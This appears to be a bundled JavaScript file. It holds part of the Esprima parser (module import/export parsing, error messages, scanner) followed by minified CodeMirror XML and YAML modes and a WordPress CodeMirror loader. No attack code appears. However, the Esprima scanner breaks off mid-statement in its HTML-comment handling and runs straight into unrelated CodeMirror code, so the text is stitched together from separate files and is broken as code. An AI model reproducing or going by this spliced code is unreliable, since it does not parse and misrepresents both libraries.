!== 2 /* EOF */) { body.push(this.parseStatementListItem()); } return this.finalize(node, new Node.Module(body)); }; Parser.prototype.parseScript = function () { var node = this.createNode(); var body = this.parseDirectivePrologues(); while (this.lookahead.type !== 2 /* EOF */) { body.push(this.parseStatementListItem()); } return this.finalize(node, new Node.Script(body)); }; // https://tc39.github.io/ecma262/#sec-imports Parser.prototype.parseModuleSpecifier = function () { var node = this.createNode(); if (this.lookahead.type !== 8 /* StringLiteral */) { this.throwError(messages_1.Messages.InvalidModuleSpecifier); } var token = this.nextToken(); var raw = this.getTokenRaw(token); return this.finalize(node, new Node.Literal(token.value, raw)); }; // import {} ...; Parser.prototype.parseImportSpecifier = function () { var node = this.createNode(); var imported; var local; if (this.lookahead.type === 3 /* Identifier */) { imported = this.parseVariableIdentifier(); local = imported; if (this.matchContextualKeyword('as')) { this.nextToken(); local = this.parseVariableIdentifier(); } } else { imported = this.parseIdentifierName(); local = imported; if (this.matchContextualKeyword('as')) { this.nextToken(); local = this.parseVariableIdentifier(); } else { this.throwUnexpectedToken(this.nextToken()); } } return this.finalize(node, new Node.ImportSpecifier(local, imported)); }; // {foo, bar as bas} Parser.prototype.parseNamedImports = function () { this.expect('{'); var specifiers = []; while (!this.match('}')) { specifiers.push(this.parseImportSpecifier()); if (!this.match('}')) { this.expect(','); } } this.expect('}'); return specifiers; }; // import ...; Parser.prototype.parseImportDefaultSpecifier = function () { var node = this.createNode(); var local = this.parseIdentifierName(); return this.finalize(node, new Node.ImportDefaultSpecifier(local)); }; // import <* as foo> ...; Parser.prototype.parseImportNamespaceSpecifier = function () { var node = this.createNode(); this.expect('*'); if (!this.matchContextualKeyword('as')) { this.throwError(messages_1.Messages.NoAsAfterImportNamespace); } this.nextToken(); var local = this.parseIdentifierName(); return this.finalize(node, new Node.ImportNamespaceSpecifier(local)); }; Parser.prototype.parseImportDeclaration = function () { if (this.context.inFunctionBody) { this.throwError(messages_1.Messages.IllegalImportDeclaration); } var node = this.createNode(); this.expectKeyword('import'); var src; var specifiers = []; if (this.lookahead.type === 8 /* StringLiteral */) { // import 'foo'; src = this.parseModuleSpecifier(); } else { if (this.match('{')) { // import {bar} specifiers = specifiers.concat(this.parseNamedImports()); } else if (this.match('*')) { // import * as foo specifiers.push(this.parseImportNamespaceSpecifier()); } else if (this.isIdentifierName(this.lookahead) && !this.matchKeyword('default')) { // import foo specifiers.push(this.parseImportDefaultSpecifier()); if (this.match(',')) { this.nextToken(); if (this.match('*')) { // import foo, * as foo specifiers.push(this.parseImportNamespaceSpecifier()); } else if (this.match('{')) { // import foo, {bar} specifiers = specifiers.concat(this.parseNamedImports()); } else { this.throwUnexpectedToken(this.lookahead); } } } else { this.throwUnexpectedToken(this.nextToken()); } if (!this.matchContextualKeyword('from')) { var message = this.lookahead.value ? messages_1.Messages.UnexpectedToken : messages_1.Messages.MissingFromClause; this.throwError(message, this.lookahead.value); } this.nextToken(); src = this.parseModuleSpecifier(); } this.consumeSemicolon(); return this.finalize(node, new Node.ImportDeclaration(specifiers, src)); }; // https://tc39.github.io/ecma262/#sec-exports Parser.prototype.parseExportSpecifier = function () { var node = this.createNode(); var local = this.parseIdentifierName(); var exported = local; if (this.matchContextualKeyword('as')) { this.nextToken(); exported = this.parseIdentifierName(); } return this.finalize(node, new Node.ExportSpecifier(local, exported)); }; Parser.prototype.parseExportDeclaration = function () { if (this.context.inFunctionBody) { this.throwError(messages_1.Messages.IllegalExportDeclaration); } var node = this.createNode(); this.expectKeyword('export'); var exportDeclaration; if (this.matchKeyword('default')) { // export default ... this.nextToken(); if (this.matchKeyword('function')) { // export default function foo () {} // export default function () {} var declaration = this.parseFunctionDeclaration(true); exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration)); } else if (this.matchKeyword('class')) { // export default class foo {} var declaration = this.parseClassDeclaration(true); exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration)); } else if (this.matchContextualKeyword('async')) { // export default async function f () {} // export default async function () {} // export default async x => x var declaration = this.matchAsyncFunction() ? this.parseFunctionDeclaration(true) : this.parseAssignmentExpression(); exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration)); } else { if (this.matchContextualKeyword('from')) { this.throwError(messages_1.Messages.UnexpectedToken, this.lookahead.value); } // export default {}; // export default []; // export default (1 + 2); var declaration = this.match('{') ? this.parseObjectInitializer() : this.match('[') ? this.parseArrayInitializer() : this.parseAssignmentExpression(); this.consumeSemicolon(); exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration)); } } else if (this.match('*')) { // export * from 'foo'; this.nextToken(); if (!this.matchContextualKeyword('from')) { var message = this.lookahead.value ? messages_1.Messages.UnexpectedToken : messages_1.Messages.MissingFromClause; this.throwError(message, this.lookahead.value); } this.nextToken(); var src = this.parseModuleSpecifier(); this.consumeSemicolon(); exportDeclaration = this.finalize(node, new Node.ExportAllDeclaration(src)); } else if (this.lookahead.type === 4 /* Keyword */) { // export var f = 1; var declaration = void 0; switch (this.lookahead.value) { case 'let': case 'const': declaration = this.parseLexicalDeclaration({ inFor: false }); break; case 'var': case 'class': case 'function': declaration = this.parseStatementListItem(); break; default: this.throwUnexpectedToken(this.lookahead); } exportDeclaration = this.finalize(node, new Node.ExportNamedDeclaration(declaration, [], null)); } else if (this.matchAsyncFunction()) { var declaration = this.parseFunctionDeclaration(); exportDeclaration = this.finalize(node, new Node.ExportNamedDeclaration(declaration, [], null)); } else { var specifiers = []; var source = null; var isExportFromIdentifier = false; this.expect('{'); while (!this.match('}')) { isExportFromIdentifier = isExportFromIdentifier || this.matchKeyword('default'); specifiers.push(this.parseExportSpecifier()); if (!this.match('}')) { this.expect(','); } } this.expect('}'); if (this.matchContextualKeyword('from')) { // export {default} from 'foo'; // export {foo} from 'foo'; this.nextToken(); source = this.parseModuleSpecifier(); this.consumeSemicolon(); } else if (isExportFromIdentifier) { // export {default}; // missing fromClause var message = this.lookahead.value ? messages_1.Messages.UnexpectedToken : messages_1.Messages.MissingFromClause; this.throwError(message, this.lookahead.value); } else { // export {foo}; this.consumeSemicolon(); } exportDeclaration = this.finalize(node, new Node.ExportNamedDeclaration(null, specifiers, source)); } return exportDeclaration; }; return Parser; }()); exports.Parser = Parser; /***/ }, /* 9 */ /***/ function(module, exports) { "use strict"; // Ensure the condition is true, otherwise throw an error. // This is only to have a better contract semantic, i.e. another safety net // to catch a logic error. The condition shall be fulfilled in normal case. // Do NOT use this to enforce a certain condition on any user input. Object.defineProperty(exports, "__esModule", { value: true }); function assert(condition, message) { /* istanbul ignore if */ if (!condition) { throw new Error('ASSERT: ' + message); } } exports.assert = assert; /***/ }, /* 10 */ /***/ function(module, exports) { "use strict"; /* tslint:disable:max-classes-per-file */ Object.defineProperty(exports, "__esModule", { value: true }); var ErrorHandler = (function () { function ErrorHandler() { this.errors = []; this.tolerant = false; } ErrorHandler.prototype.recordError = function (error) { this.errors.push(error); }; ErrorHandler.prototype.tolerate = function (error) { if (this.tolerant) { this.recordError(error); } else { throw error; } }; ErrorHandler.prototype.constructError = function (msg, column) { var error = new Error(msg); try { throw error; } catch (base) { /* istanbul ignore else */ if (Object.create && Object.defineProperty) { error = Object.create(base); Object.defineProperty(error, 'column', { value: column }); } } /* istanbul ignore next */ return error; }; ErrorHandler.prototype.createError = function (index, line, col, description) { var msg = 'Line ' + line + ': ' + description; var error = this.constructError(msg, col); error.index = index; error.lineNumber = line; error.description = description; return error; }; ErrorHandler.prototype.throwError = function (index, line, col, description) { throw this.createError(index, line, col, description); }; ErrorHandler.prototype.tolerateError = function (index, line, col, description) { var error = this.createError(index, line, col, description); if (this.tolerant) { this.recordError(error); } else { throw error; } }; return ErrorHandler; }()); exports.ErrorHandler = ErrorHandler; /***/ }, /* 11 */ /***/ function(module, exports) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); // Error messages should be identical to V8. exports.Messages = { BadGetterArity: 'Getter must not have any formal parameters', BadSetterArity: 'Setter must have exactly one formal parameter', BadSetterRestParameter: 'Setter function argument must not be a rest parameter', ConstructorIsAsync: 'Class constructor may not be an async method', ConstructorSpecialMethod: 'Class constructor may not be an accessor', DeclarationMissingInitializer: 'Missing initializer in %0 declaration', DefaultRestParameter: 'Unexpected token =', DuplicateBinding: 'Duplicate binding %0', DuplicateConstructor: 'A class may only have one constructor', DuplicateProtoProperty: 'Duplicate __proto__ fields are not allowed in object literals', ForInOfLoopInitializer: '%0 loop variable declaration may not have an initializer', GeneratorInLegacyContext: 'Generator declarations are not allowed in legacy contexts', IllegalBreak: 'Illegal break statement', IllegalContinue: 'Illegal continue statement', IllegalExportDeclaration: 'Unexpected token', IllegalImportDeclaration: 'Unexpected token', IllegalLanguageModeDirective: 'Illegal \'use strict\' directive in function with non-simple parameter list', IllegalReturn: 'Illegal return statement', InvalidEscapedReservedWord: 'Keyword must not contain escaped characters', InvalidHexEscapeSequence: 'Invalid hexadecimal escape sequence', InvalidLHSInAssignment: 'Invalid left-hand side in assignment', InvalidLHSInForIn: 'Invalid left-hand side in for-in', InvalidLHSInForLoop: 'Invalid left-hand side in for-loop', InvalidModuleSpecifier: 'Unexpected token', InvalidRegExp: 'Invalid regular expression', LetInLexicalBinding: 'let is disallowed as a lexically bound name', MissingFromClause: 'Unexpected token', MultipleDefaultsInSwitch: 'More than one default clause in switch statement', NewlineAfterThrow: 'Illegal newline after throw', NoAsAfterImportNamespace: 'Unexpected token', NoCatchOrFinally: 'Missing catch or finally after try', ParameterAfterRestParameter: 'Rest parameter must be last formal parameter', Redeclaration: '%0 \'%1\' has already been declared', StaticPrototype: 'Classes may not have static property named prototype', StrictCatchVariable: 'Catch variable may not be eval or arguments in strict mode', StrictDelete: 'Delete of an unqualified identifier in strict mode.', StrictFunction: 'In strict mode code, functions can only be declared at top level or inside a block', StrictFunctionName: 'Function name may not be eval or arguments in strict mode', StrictLHSAssignment: 'Assignment to eval or arguments is not allowed in strict mode', StrictLHSPostfix: 'Postfix increment/decrement may not have eval or arguments operand in strict mode', StrictLHSPrefix: 'Prefix increment/decrement may not have eval or arguments operand in strict mode', StrictModeWith: 'Strict mode code may not include a with statement', StrictOctalLiteral: 'Octal literals are not allowed in strict mode.', StrictParamDupe: 'Strict mode function may not have duplicate parameter names', StrictParamName: 'Parameter name eval or arguments is not allowed in strict mode', StrictReservedWord: 'Use of future reserved word in strict mode', StrictVarName: 'Variable name may not be eval or arguments in strict mode', TemplateOctalLiteral: 'Octal literals are not allowed in template strings.', UnexpectedEOS: 'Unexpected end of input', UnexpectedIdentifier: 'Unexpected identifier', UnexpectedNumber: 'Unexpected number', UnexpectedReserved: 'Unexpected reserved word', UnexpectedString: 'Unexpected string', UnexpectedTemplate: 'Unexpected quasi %0', UnexpectedToken: 'Unexpected token %0', UnexpectedTokenIllegal: 'Unexpected token ILLEGAL', UnknownLabel: 'Undefined label \'%0\'', UnterminatedRegExp: 'Invalid regular expression: missing /' }; /***/ }, /* 12 */ /***/ function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var assert_1 = __webpack_require__(9); var character_1 = __webpack_require__(4); var messages_1 = __webpack_require__(11); function hexValue(ch) { return '0123456789abcdef'.indexOf(ch.toLowerCase()); } function octalValue(ch) { return '01234567'.indexOf(ch); } var Scanner = (function () { function Scanner(code, handler) { this.source = code; this.errorHandler = handler; this.trackComment = false; this.length = code.length; this.index = 0; this.lineNumber = (code.length > 0) ? 1 : 0; this.lineStart = 0; this.curlyStack = []; } Scanner.prototype.saveState = function () { return { index: this.index, lineNumber: this.lineNumber, lineStart: this.lineStart }; }; Scanner.prototype.restoreState = function (state) { this.index = state.index; this.lineNumber = state.lineNumber; this.lineStart = state.lineStart; }; Scanner.prototype.eof = function () { return this.index >= this.length; }; Scanner.prototype.throwUnexpectedToken = function (message) { if (message === void 0) { message = messages_1.Messages.UnexpectedTokenIllegal; } return this.errorHandler.throwError(this.index, this.lineNumber, this.index - this.lineStart + 1, message); }; Scanner.prototype.tolerateUnexpectedToken = function (message) { if (message === void 0) { message = messages_1.Messages.UnexpectedTokenIllegal; } this.errorHandler.tolerateError(this.index, this.lineNumber, this.index - this.lineStart + 1, message); }; // https://tc39.github.io/ecma262/#sec-comments Scanner.prototype.skipSingleLineComment = function (offset) { var comments = []; var start, loc; if (this.trackComment) { comments = []; start = this.index - offset; loc = { start: { line: this.lineNumber, column: this.index - this.lineStart - offset }, end: {} }; } while (!this.eof()) { var ch = this.source.charCodeAt(this.index); ++this.index; if (character_1.Character.isLineTerminator(ch)) { if (this.trackComment) { loc.end = { line: this.lineNumber, column: this.index - this.lineStart - 1 }; var entry = { multiLine: false, slice: [start + offset, this.index - 1], range: [start, this.index - 1], loc: loc }; comments.push(entry); } if (ch === 13 && this.source.charCodeAt(this.index) === 10) { ++this.index; } ++this.lineNumber; this.lineStart = this.index; return comments; } } if (this.trackComment) { loc.end = { line: this.lineNumber, column: this.index - this.lineStart }; var entry = { multiLine: false, slice: [start + offset, this.index], range: [start, this.index], loc: loc }; comments.push(entry); } return comments; }; Scanner.prototype.skipMultiLineComment = function () { var comments = []; var start, loc; if (this.trackComment) { comments = []; start = this.index - 2; loc = { start: { line: this.lineNumber, column: this.index - this.lineStart - 2 }, end: {} }; } while (!this.eof()) { var ch = this.source.charCodeAt(this.index); if (character_1.Character.isLineTerminator(ch)) { if (ch === 0x0D && this.source.charCodeAt(this.index + 1) === 0x0A) { ++this.index; } ++this.lineNumber; ++this.index; this.lineStart = this.index; } else if (ch === 0x2A) { // Block comment ends with '*/'. if (this.source.charCodeAt(this.index + 1) === 0x2F) { this.index += 2; if (this.trackComment) { loc.end = { line: this.lineNumber, column: this.index - this.lineStart }; var entry = { multiLine: true, slice: [start + 2, this.index - 2], range: [start, this.index], loc: loc }; comments.push(entry); } return comments; } ++this.index; } else { ++this.index; } } // Ran off the end of the file - the whole thing is a comment if (this.trackComment) { loc.end = { line: this.lineNumber, column: this.index - this.lineStart }; var entry = { multiLine: true, slice: [start + 2, this.index], range: [start, this.index], loc: loc }; comments.push(entry); } this.tolerateUnexpectedToken(); return comments; }; Scanner.prototype.scanComments = function () { var comments; if (this.trackComment) { comments = []; } var start = (this.index === 0); while (!this.eof()) { var ch = this.source.charCodeAt(this.index); if (character_1.Character.isWhiteSpace(ch)) { ++this.index; } else if (character_1.Character.isLineTerminator(ch)) { ++this.index; if (ch === 0x0D && this.source.charCodeAt(this.index) === 0x0A) { ++this.index; } ++this.lineNumber; this.lineStart = this.index; start = true; } else if (ch === 0x2F) { ch = this.source.charCodeAt(this.index + 1); if (ch === 0x2F) { this.index += 2; var comment = this.skipSingleLineComment(2); if (this.trackComment) { comments = comments.concat(comment); } start = true; } else if (ch === 0x2A) { this.index += 2; var comment = this.skipMultiLineComment(); if (this.trackComment) { comments = comments.concat(comment); } } else { break; } } else if (start && ch === 0x2D) { // U+003E is '>' if ((this.source.charCodeAt(this.index + 1) === 0x2D) && (this.source.charCodeAt(this.index + 2) === 0x3E)) { // '-->' is a single-line comment this.index += 3; var comment = this.skipSingleLineComment(3); if (this.trackComment) { comments = comments.concat(comment); } } else { break; } } else if (ch === 0x3C) { if (this.source.slice(this.index + 1, this.index + 4) === '!--') { this.index += 4; // `")):a.match("DOCTYPE",!0,!0)?(a.eatWhile(/[\w\._\-]/),c(j(1))):null:a.eat("?")?(a.eatWhile(/[\w\._\-]/),b.tokenize=i("meta","?>"),"meta"):(A=a.eat("/")?"closeTag":"openTag",b.tokenize=g,"tag bracket");if("&"==d){var e;return e=a.eat("#")?a.eat("x")?a.eatWhile(/[a-fA-F\d]/)&&a.eat(";"):a.eatWhile(/[\d]/)&&a.eat(";"):a.eatWhile(/[\w\.\-:]/)&&a.eat(";"),e?"atom":"error"}return a.eatWhile(/[^&<]/),null}function g(a,b){var c=a.next();if(">"==c||"/"==c&&a.eat(">"))return b.tokenize=f,A=">"==c?"endTag":"selfcloseTag","tag bracket";if("="==c)return A="equals",null;if("<"==c){b.tokenize=f,b.state=n,b.tagName=b.tagStart=null;var d=b.tokenize(a,b);return d?d+" tag error":"tag error"}return/[\'\"]/.test(c)?(b.tokenize=h(c),b.stringStartCol=a.column(),b.tokenize(a,b)):(a.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/),"word")}function h(a){var b=function(b,c){for(;!b.eol();)if(b.next()==a){c.tokenize=g;break}return"string"};return b.isInAttribute=!0,b}function i(a,b){return function(c,d){for(;!c.eol();){if(c.match(b)){d.tokenize=f;break}c.next()}return a}}function j(a){return function(b,c){for(var d;null!=(d=b.next());){if("<"==d)return c.tokenize=j(a+1),c.tokenize(b,c);if(">"==d){if(1==a){c.tokenize=f;break}return c.tokenize=j(a-1),c.tokenize(b,c)}}return"meta"}}function k(a,b,c){this.prev=a.context,this.tagName=b,this.indent=a.indented,this.startOfLine=c,(x.doNotIndent.hasOwnProperty(b)||a.context&&a.context.noIndent)&&(this.noIndent=!0)}function l(a){a.context&&(a.context=a.context.prev)}function m(a,b){for(var c;;){if(!a.context)return;if(c=a.context.tagName,!x.contextGrabbers.hasOwnProperty(c)||!x.contextGrabbers[c].hasOwnProperty(b))return;l(a)}}function n(a,b,c){return"openTag"==a?(c.tagStart=b.column(),o):"closeTag"==a?p:n}function o(a,b,c){return"word"==a?(c.tagName=b.current(),B="tag",s):(B="error",o)}function p(a,b,c){if("word"==a){var d=b.current();return c.context&&c.context.tagName!=d&&x.implicitlyClosed.hasOwnProperty(c.context.tagName)&&l(c),c.context&&c.context.tagName==d||x.matchClosing===!1?(B="tag",q):(B="tag error",r)}return B="error",r}function q(a,b,c){return"endTag"!=a?(B="error",q):(l(c),n)}function r(a,b,c){return B="error",q(a,b,c)}function s(a,b,c){if("word"==a)return B="attribute",t;if("endTag"==a||"selfcloseTag"==a){var d=c.tagName,e=c.tagStart;return c.tagName=c.tagStart=null,"selfcloseTag"==a||x.autoSelfClosers.hasOwnProperty(d)?m(c,d):(m(c,d),c.context=new k(c,d,e==c.indented)),n}return B="error",s}function t(a,b,c){return"equals"==a?u:(x.allowMissing||(B="error"),s(a,b,c))}function u(a,b,c){return"string"==a?v:"word"==a&&x.allowUnquoted?(B="string",s):(B="error",s(a,b,c))}function v(a,b,c){return"string"==a?v:s(a,b,c)}var w=d.indentUnit,x={},y=e.htmlMode?b:c;for(var z in y)x[z]=y[z];for(var z in e)x[z]=e[z];var A,B;return f.isInText=!0,{startState:function(a){var b={tokenize:f,state:n,indented:a||0,tagName:null,tagStart:null,context:null};return null!=a&&(b.baseIndent=a),b},token:function(a,b){if(!b.tagName&&a.sol()&&(b.indented=a.indentation()),a.eatSpace())return null;A=null;var c=b.tokenize(a,b);return(c||A)&&"comment"!=c&&(B=null,b.state=b.state(A||c,a,b),B&&(c="error"==B?c+" error":B)),c},indent:function(b,c,d){var e=b.context;if(b.tokenize.isInAttribute)return b.tagStart==b.indented?b.stringStartCol+1:b.indented+w;if(e&&e.noIndent)return a.Pass;if(b.tokenize!=g&&b.tokenize!=f)return d?d.match(/^(\s*)/)[0].length:0;if(b.tagName)return x.multilineTagIndentPastTag!==!1?b.tagStart+b.tagName.length+2:b.tagStart+w*(x.multilineTagIndentFactor||1);if(x.alignCDATA&&/$/,blockCommentStart:"",configuration:x.htmlMode?"html":"xml",helperType:x.htmlMode?"html":"xml",skipAttribute:function(a){a.state==u&&(a.state=s)}}}),a.defineMIME("text/xml","xml"),a.defineMIME("application/xml","xml"),a.mimeModes.hasOwnProperty("text/html")||a.defineMIME("text/html",{name:"xml",htmlMode:!0})})},{"../../lib/codemirror":59}],76:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";a.defineMode("yaml",function(){var a=["true","false","on","off","yes","no"],b=new RegExp("\\b(("+a.join(")|(")+"))$","i");return{token:function(a,c){var d=a.peek(),e=c.escaped;if(c.escaped=!1,"#"==d&&(0==a.pos||/\s/.test(a.string.charAt(a.pos-1))))return a.skipToEnd(),"comment";if(a.match(/^('([^']|\\.)*'?|"([^"]|\\.)*"?)/))return"string";if(c.literal&&a.indentation()>c.keyCol)return a.skipToEnd(),"string";if(c.literal&&(c.literal=!1),a.sol()){if(c.keyCol=0,c.pair=!1,c.pairStart=!1,a.match(/---/))return"def";if(a.match(/\.\.\./))return"def";if(a.match(/\s*-\s+/))return"meta"}if(a.match(/^(\{|\}|\[|\])/))return"{"==d?c.inlinePairs++:"}"==d?c.inlinePairs--:"["==d?c.inlineList++:c.inlineList--,"meta";if(c.inlineList>0&&!e&&","==d)return a.next(),"meta";if(c.inlinePairs>0&&!e&&","==d)return c.keyCol=0,c.pair=!1,c.pairStart=!1,a.next(),"meta";if(c.pairStart){if(a.match(/^\s*(\||\>)\s*/))return c.literal=!0,"meta";if(a.match(/^\s*(\&|\*)[a-z0-9\._-]+\b/i))return"variable-2";if(0==c.inlinePairs&&a.match(/^\s*-?[0-9\.\,]+\s?$/))return"number";if(c.inlinePairs>0&&a.match(/^\s*-?[0-9\.\,]+\s?(?=(,|}))/))return"number";if(a.match(b))return"keyword"}return!c.pair&&a.match(/^\s*(?:[,\[\]{}&*!|>'"%@`][^\s'":]|[^,\[\]{}#&*!|>'"%@`])[^#]*?(?=\s*:($|\s))/)?(c.pair=!0,c.keyCol=a.indentation(),"atom"):c.pair&&a.match(/^:\s*/)?(c.pairStart=!0,"meta"):(c.pairStart=!1,c.escaped="\\"==d,a.next(),null)},startState:function(){return{pair:!1,pairStart:!1,keyCol:0,inlinePairs:0,inlineList:0,literal:!1,escaped:!1}}}}),a.defineMIME("text/x-yaml","yaml"),a.defineMIME("text/yaml","yaml")})},{"../../lib/codemirror":59}],77:[function(a,b,c){var d=a("../../../node_modules/codemirror/lib/codemirror");a("../../../node_modules/codemirror/lib/codemirror.js"),a("../../../node_modules/codemirror/keymap/emacs.js"),a("../../../node_modules/codemirror/keymap/sublime.js"),a("../../../node_modules/codemirror/keymap/vim.js"),a("../../../node_modules/codemirror/addon/hint/show-hint.js"),a("../../../node_modules/codemirror/addon/hint/anyword-hint.js"),a("../../../node_modules/codemirror/addon/hint/css-hint.js"),a("../../../node_modules/codemirror/addon/hint/html-hint.js"),a("../../../node_modules/codemirror/addon/hint/javascript-hint.js"),a("../../../node_modules/codemirror/addon/hint/sql-hint.js"),a("../../../node_modules/codemirror/addon/hint/xml-hint.js"),a("../../../node_modules/codemirror/addon/lint/lint.js"),a("../../../node_modules/codemirror/addon/lint/css-lint.js"),a("../../../node_modules/codemirror/addon/lint/html-lint.js"),a("../../../node_modules/codemirror/addon/lint/javascript-lint.js"),a("../../../node_modules/codemirror/addon/lint/json-lint.js"),a("../../../node_modules/codemirror/addon/comment/comment.js"),a("../../../node_modules/codemirror/addon/comment/continuecomment.js"),a("../../../node_modules/codemirror/addon/fold/xml-fold.js"),a("../../../node_modules/codemirror/addon/mode/overlay.js"),a("../../../node_modules/codemirror/addon/edit/closebrackets.js"),a("../../../node_modules/codemirror/addon/edit/closetag.js"),a("../../../node_modules/codemirror/addon/edit/continuelist.js"),a("../../../node_modules/codemirror/addon/edit/matchbrackets.js"),a("../../../node_modules/codemirror/addon/edit/matchtags.js"),a("../../../node_modules/codemirror/addon/edit/trailingspace.js"),a("../../../node_modules/codemirror/addon/dialog/dialog.js"),a("../../../node_modules/codemirror/addon/display/autorefresh.js"),a("../../../node_modules/codemirror/addon/display/fullscreen.js"),a("../../../node_modules/codemirror/addon/display/panel.js"),a("../../../node_modules/codemirror/addon/display/placeholder.js"),a("../../../node_modules/codemirror/addon/display/rulers.js"),a("../../../node_modules/codemirror/addon/fold/brace-fold.js"),a("../../../node_modules/codemirror/addon/fold/comment-fold.js"),a("../../../node_modules/codemirror/addon/fold/foldcode.js"),a("../../../node_modules/codemirror/addon/fold/foldgutter.js"),a("../../../node_modules/codemirror/addon/fold/indent-fold.js"),a("../../../node_modules/codemirror/addon/fold/markdown-fold.js"),a("../../../node_modules/codemirror/addon/merge/merge.js"),a("../../../node_modules/codemirror/addon/mode/loadmode.js"),a("../../../node_modules/codemirror/addon/mode/multiplex.js"),a("../../../node_modules/codemirror/addon/mode/simple.js"),a("../../../node_modules/codemirror/addon/runmode/runmode.js"),a("../../../node_modules/codemirror/addon/runmode/colorize.js"),a("../../../node_modules/codemirror/addon/runmode/runmode-standalone.js"),a("../../../node_modules/codemirror/addon/scroll/annotatescrollbar.js"),a("../../../node_modules/codemirror/addon/scroll/scrollpastend.js"),a("../../../node_modules/codemirror/addon/scroll/simplescrollbars.js"),a("../../../node_modules/codemirror/addon/search/search.js"),a("../../../node_modules/codemirror/addon/search/jump-to-line.js"),a("../../../node_modules/codemirror/addon/search/match-highlighter.js"),a("../../../node_modules/codemirror/addon/search/matchesonscrollbar.js"),a("../../../node_modules/codemirror/addon/search/searchcursor.js"),a("../../../node_modules/codemirror/addon/tern/tern.js"),a("../../../node_modules/codemirror/addon/tern/worker.js"),a("../../../node_modules/codemirror/addon/wrap/hardwrap.js"),a("../../../node_modules/codemirror/addon/selection/active-line.js"),a("../../../node_modules/codemirror/addon/selection/mark-selection.js"),a("../../../node_modules/codemirror/addon/selection/selection-pointer.js"),a("../../../node_modules/codemirror/mode/meta.js"),a("../../../node_modules/codemirror/mode/clike/clike.js"),a("../../../node_modules/codemirror/mode/css/css.js"),a("../../../node_modules/codemirror/mode/diff/diff.js"),a("../../../node_modules/codemirror/mode/htmlmixed/htmlmixed.js"),a("../../../node_modules/codemirror/mode/http/http.js"),a("../../../node_modules/codemirror/mode/javascript/javascript.js"),a("../../../node_modules/codemirror/mode/jsx/jsx.js"),a("../../../node_modules/codemirror/mode/markdown/markdown.js"),a("../../../node_modules/codemirror/mode/gfm/gfm.js"),a("../../../node_modules/codemirror/mode/nginx/nginx.js"),a("../../../node_modules/codemirror/mode/php/php.js"),a("../../../node_modules/codemirror/mode/sass/sass.js"),a("../../../node_modules/codemirror/mode/shell/shell.js"),a("../../../node_modules/codemirror/mode/sql/sql.js"),a("../../../node_modules/codemirror/mode/xml/xml.js"),a("../../../node_modules/codemirror/mode/yaml/yaml.js"),window.wp||(window.wp={}),window.wp.CodeMirror=d},{"../../../node_modules/codemirror/addon/comment/comment.js":1,"../../../node_modules/codemirror/addon/comment/continuecomment.js":2,"../../../node_modules/codemirror/addon/dialog/dialog.js":3,"../../../node_modules/codemirror/addon/display/autorefresh.js":4,"../../../node_modules/codemirror/addon/display/fullscreen.js":5,"../../../node_modules/codemirror/addon/display/panel.js":6,"../../../node_modules/codemirror/addon/display/placeholder.js":7,"../../../node_modules/codemirror/addon/display/rulers.js":8,"../../../node_modules/codemirror/addon/edit/closebrackets.js":9,"../../../node_modules/codemirror/addon/edit/closetag.js":10,"../../../node_modules/codemirror/addon/edit/continuelist.js":11,"../../../node_modules/codemirror/addon/edit/matchbrackets.js":12,"../../../node_modules/codemirror/addon/edit/matchtags.js":13,"../../../node_modules/codemirror/addon/edit/trailingspace.js":14,"../../../node_modules/codemirror/addon/fold/brace-fold.js":15,"../../../node_modules/codemirror/addon/fold/comment-fold.js":16,"../../../node_modules/codemirror/addon/fold/foldcode.js":17,"../../../node_modules/codemirror/addon/fold/foldgutter.js":18,"../../../node_modules/codemirror/addon/fold/indent-fold.js":19,"../../../node_modules/codemirror/addon/fold/markdown-fold.js":20,"../../../node_modules/codemirror/addon/fold/xml-fold.js":21,"../../../node_modules/codemirror/addon/hint/anyword-hint.js":22,"../../../node_modules/codemirror/addon/hint/css-hint.js":23,"../../../node_modules/codemirror/addon/hint/html-hint.js":24,"../../../node_modules/codemirror/addon/hint/javascript-hint.js":25,"../../../node_modules/codemirror/addon/hint/show-hint.js":26,"../../../node_modules/codemirror/addon/hint/sql-hint.js":27,"../../../node_modules/codemirror/addon/hint/xml-hint.js":28,"../../../node_modules/codemirror/addon/lint/css-lint.js":29,"../../../node_modules/codemirror/addon/lint/html-lint.js":30,"../../../node_modules/codemirror/addon/lint/javascript-lint.js":31,"../../../node_modules/codemirror/addon/lint/json-lint.js":32,"../../../node_modules/codemirror/addon/lint/lint.js":33,"../../../node_modules/codemirror/addon/merge/merge.js":34,"../../../node_modules/codemirror/addon/mode/loadmode.js":35,"../../../node_modules/codemirror/addon/mode/multiplex.js":36,"../../../node_modules/codemirror/addon/mode/overlay.js":37,"../../../node_modules/codemirror/addon/mode/simple.js":38,"../../../node_modules/codemirror/addon/runmode/colorize.js":39,"../../../node_modules/codemirror/addon/runmode/runmode-standalone.js":40,"../../../node_modules/codemirror/addon/runmode/runmode.js":41,"../../../node_modules/codemirror/addon/scroll/annotatescrollbar.js":42,"../../../node_modules/codemirror/addon/scroll/scrollpastend.js":43,"../../../node_modules/codemirror/addon/scroll/simplescrollbars.js":44,"../../../node_modules/codemirror/addon/search/jump-to-line.js":45,"../../../node_modules/codemirror/addon/search/match-highlighter.js":46,"../../../node_modules/codemirror/addon/search/matchesonscrollbar.js":47,"../../../node_modules/codemirror/addon/search/search.js":48,"../../../node_modules/codemirror/addon/search/searchcursor.js":49,"../../../node_modules/codemirror/addon/selection/active-line.js":50,"../../../node_modules/codemirror/addon/selection/mark-selection.js":51,"../../../node_modules/codemirror/addon/selection/selection-pointer.js":52,"../../../node_modules/codemirror/addon/tern/tern.js":53,"../../../node_modules/codemirror/addon/tern/worker.js":54,"../../../node_modules/codemirror/addon/wrap/hardwrap.js":55,"../../../node_modules/codemirror/keymap/emacs.js":56,"../../../node_modules/codemirror/keymap/sublime.js":57,"../../../node_modules/codemirror/keymap/vim.js":58,"../../../node_modules/codemirror/lib/codemirror":59,"../../../node_modules/codemirror/lib/codemirror.js":59,"../../../node_modules/codem